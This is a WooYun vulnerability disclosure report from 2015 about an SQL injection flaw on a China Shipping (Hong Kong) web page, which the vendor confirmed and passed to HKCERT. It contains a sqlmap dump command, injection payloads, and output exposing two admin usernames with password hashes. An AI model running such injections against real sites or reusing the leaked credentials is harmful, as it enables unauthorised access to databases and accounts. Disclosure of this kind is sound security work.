当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145605

漏洞标题:中国海运(香港)控股有限公司sql注入漏洞(香港地區)

相关厂商:hkcert香港互联网应急协调中心

漏洞作者: 菜鸟甲

提交时间:2015-10-11 19:43

修复时间:2015-11-29 14:54

公开时间:2015-11-29 14:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-15: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

SQL注入漏洞,表名存在于公共表名中

详细说明:

后台为http://**.**.**.**/liulc/kgwz/manager/login.asp
注入点为 http://**.**.**.**/liulc/kgwz/xxzx_view.asp?id=1564

漏洞证明:

QQ图片20151009194445.jpg


sqlmap -u http://**.**.**.**/liulc/kgwz/xxzx_view.asp?id=1564 -T "admin" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:35:37
[19:35:37] [INFO] resuming back-end DBMS 'microsoft access'
[19:35:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1564 AND 7966=7966
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-8906 UNION ALL SELECT NULL,CHR(113)&CHR(109)&CHR(119)&CHR(99)&CHR(113)&CHR(83)&CHR(88)&CHR(110)&CHR(106)&CHR(105)&CHR(90)&CHR(81)&CHR(100)&CHR(118)&CHR(78)&CHR(113)&CHR(106)&CHR(121)&CHR(119)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:35:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:35:38] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q] y
[19:35:42] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[19:35:42] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[19:35:42] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[19:35:44] [INFO] starting 8 threads
[19:35:45] [INFO] retrieved: id
[19:35:48] [INFO] retrieved: data
[19:35:54] [INFO] retrieved: password
[19:36:17] [INFO] retrieved: admin

[19:38:06] [INFO] fetching entries for table 'admin' in database 'Microsoft_Access_masterdb'
[19:38:06] [INFO] the SQL query used returns 2 entries
[19:38:08] [INFO] fetching number of entries for table 'admin' in database 'Microsoft_Access_masterdb'
[19:38:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:38:08] [INFO] retrieved: 2
[19:38:11] [INFO] fetching number of distinct values for column 'id'
[19:38:11] [INFO] retrieved: 2
[19:38:13] [INFO] using column 'id' as a pivot for retrieving row data
[19:38:13] [INFO] retrieved: 15
[19:38:36] [INFO] retrieved:
[19:38:38] [INFO] retrieved: numen
[19:38:58] [INFO] retrieved: 5d98f0652f6cf605
[19:39:48] [INFO] retrieved: 19
[19:39:55] [INFO] retrieved:
[19:40:00] [INFO] retrieved: gaoy0906
[19:40:25] [INFO] retrieved: c0777b299123c209
[19:41:16] [INFO] analyzing table dump for possible password hashes
[19:41:16] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: admin
[2 entries]
+----+------+----------+------------------+
| id | data | admin | password |
+----+------+----------+------------------+
| 15 | <blank> | numen | 5d98f0652f6cf605 |
| 19 | <blank> | gaoy0906 | c0777b299123c209 |
+----+------+----------+------------------+
[19:42:37] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file '/usr/share/sqlmap/output/**.**.**.**/dump/Microsoft_Access_masterdb/admin.csv'
[19:42:37] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2560 times
[19:42:37] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
[*] shutting down at 19:42:37

修复方案:

过滤

版权声明:转载请注明来源 菜鸟甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-10-15 14:54

厂商回复:

已聯絡相關機構處理

最新状态:

暂无


漏洞评价:

评价